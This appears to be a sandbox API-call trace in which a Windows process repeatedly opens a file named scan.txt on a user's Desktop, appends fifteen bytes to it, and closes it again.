[0166.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0166.985] GetFileType (hFile=0x252c) returned 0x1
[0166.985] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x78
[0166.985] WriteFile (in: hFile=0x252c, lpBuffer=0x278bd18*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x278bd18*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0166.985] CloseHandle (hObject=0x252c) returned 1
[0166.987] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0166.987] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0166.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0166.987] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0166.987] GetFileType (hFile=0x252c) returned 0x1
[0166.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0166.988] GetFileType (hFile=0x252c) returned 0x1
[0166.988] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x87
[0166.988] WriteFile (in: hFile=0x252c, lpBuffer=0x278e858*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x278e858*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0166.988] CloseHandle (hObject=0x252c) returned 1
[0167.002] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.003] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.003] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.003] GetFileType (hFile=0x252c) returned 0x1
[0167.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.003] GetFileType (hFile=0x252c) returned 0x1
[0167.003] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x96
[0167.004] WriteFile (in: hFile=0x252c, lpBuffer=0x27913b8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27913b8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.004] CloseHandle (hObject=0x252c) returned 1
[0167.006] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.008] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.008] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.008] GetFileType (hFile=0x252c) returned 0x1
[0167.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.008] GetFileType (hFile=0x252c) returned 0x1
[0167.008] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xa5
[0167.009] WriteFile (in: hFile=0x252c, lpBuffer=0x2793ef8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2793ef8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.009] CloseHandle (hObject=0x252c) returned 1
[0167.010] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.010] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.011] GetFileType (hFile=0x252c) returned 0x1
[0167.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.011] GetFileType (hFile=0x252c) returned 0x1
[0167.011] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xb4
[0167.012] WriteFile (in: hFile=0x252c, lpBuffer=0x2796a38*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2796a38*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.012] CloseHandle (hObject=0x252c) returned 1
[0167.013] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.013] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.014] GetFileType (hFile=0x252c) returned 0x1
[0167.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.014] GetFileType (hFile=0x252c) returned 0x1
[0167.014] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xc3
[0167.014] WriteFile (in: hFile=0x252c, lpBuffer=0x2799578*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2799578*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.015] CloseHandle (hObject=0x252c) returned 1
[0167.020] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.021] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.021] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.021] GetFileType (hFile=0x252c) returned 0x1
[0167.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.021] GetFileType (hFile=0x252c) returned 0x1
[0167.021] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xd2
[0167.022] WriteFile (in: hFile=0x252c, lpBuffer=0x279c0b8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x279c0b8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.022] CloseHandle (hObject=0x252c) returned 1
[0167.024] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.024] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.024] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.024] GetFileType (hFile=0x252c) returned 0x1
[0167.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.024] GetFileType (hFile=0x252c) returned 0x1
[0167.025] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xe1
[0167.025] WriteFile (in: hFile=0x252c, lpBuffer=0x279ebf8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x279ebf8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.025] CloseHandle (hObject=0x252c) returned 1
[0167.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.032] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.032] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.032] GetFileType (hFile=0x252c) returned 0x1
[0167.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.032] GetFileType (hFile=0x252c) returned 0x1
[0167.032] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xf0
[0167.033] WriteFile (in: hFile=0x252c, lpBuffer=0x27a1738*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27a1738*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.033] CloseHandle (hObject=0x252c) returned 1
[0167.035] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.035] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.036] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.036] GetFileType (hFile=0x252c) returned 0x1
[0167.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.036] GetFileType (hFile=0x252c) returned 0x1
[0167.036] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xff
[0167.036] WriteFile (in: hFile=0x252c, lpBuffer=0x27a4278*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27a4278*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.036] CloseHandle (hObject=0x252c) returned 1
[0167.041] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.041] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.041] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.041] GetFileType (hFile=0x252c) returned 0x1
[0167.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.041] GetFileType (hFile=0x252c) returned 0x1
[0167.041] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x10e
[0167.042] WriteFile (in: hFile=0x252c, lpBuffer=0x27a6db8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27a6db8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.042] CloseHandle (hObject=0x252c) returned 1
[0167.051] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.052] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.052] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.052] GetFileType (hFile=0x252c) returned 0x1
[0167.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.052] GetFileType (hFile=0x252c) returned 0x1
[0167.052] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x11d
[0167.053] WriteFile (in: hFile=0x252c, lpBuffer=0x27a98f8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27a98f8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.054] CloseHandle (hObject=0x252c) returned 1
[0167.055] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.056] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.056] GetFileType (hFile=0x252c) returned 0x1
[0167.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.056] GetFileType (hFile=0x252c) returned 0x1
[0167.056] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x12c
[0167.056] WriteFile (in: hFile=0x252c, lpBuffer=0x27ac438*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27ac438*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.057] CloseHandle (hObject=0x252c) returned 1
[0167.058] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.058] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.059] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.059] GetFileType (hFile=0x252c) returned 0x1
[0167.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.059] GetFileType (hFile=0x252c) returned 0x1
[0167.059] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x13b
[0167.059] WriteFile (in: hFile=0x252c, lpBuffer=0x27aef78*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27aef78*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.060] CloseHandle (hObject=0x252c) returned 1
[0167.064] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.064] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.064] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.065] GetFileType (hFile=0x252c) returned 0x1
[0167.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.065] GetFileType (hFile=0x252c) returned 0x1
[0167.065] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x14a
[0167.065] WriteFile (in: hFile=0x252c, lpBuffer=0x27b1ab8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27b1ab8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.065] CloseHandle (hObject=0x252c) returned 1
[0167.067] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.067] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.067] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.067] GetFileType (hFile=0x252c) returned 0x1
[0167.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.068] GetFileType (hFile=0x252c) returned 0x1
[0167.068] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x159
[0167.068] WriteFile (in: hFile=0x252c, lpBuffer=0x27b45f8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27b45f8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.069] CloseHandle (hObject=0x252c) returned 1
[0167.070] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
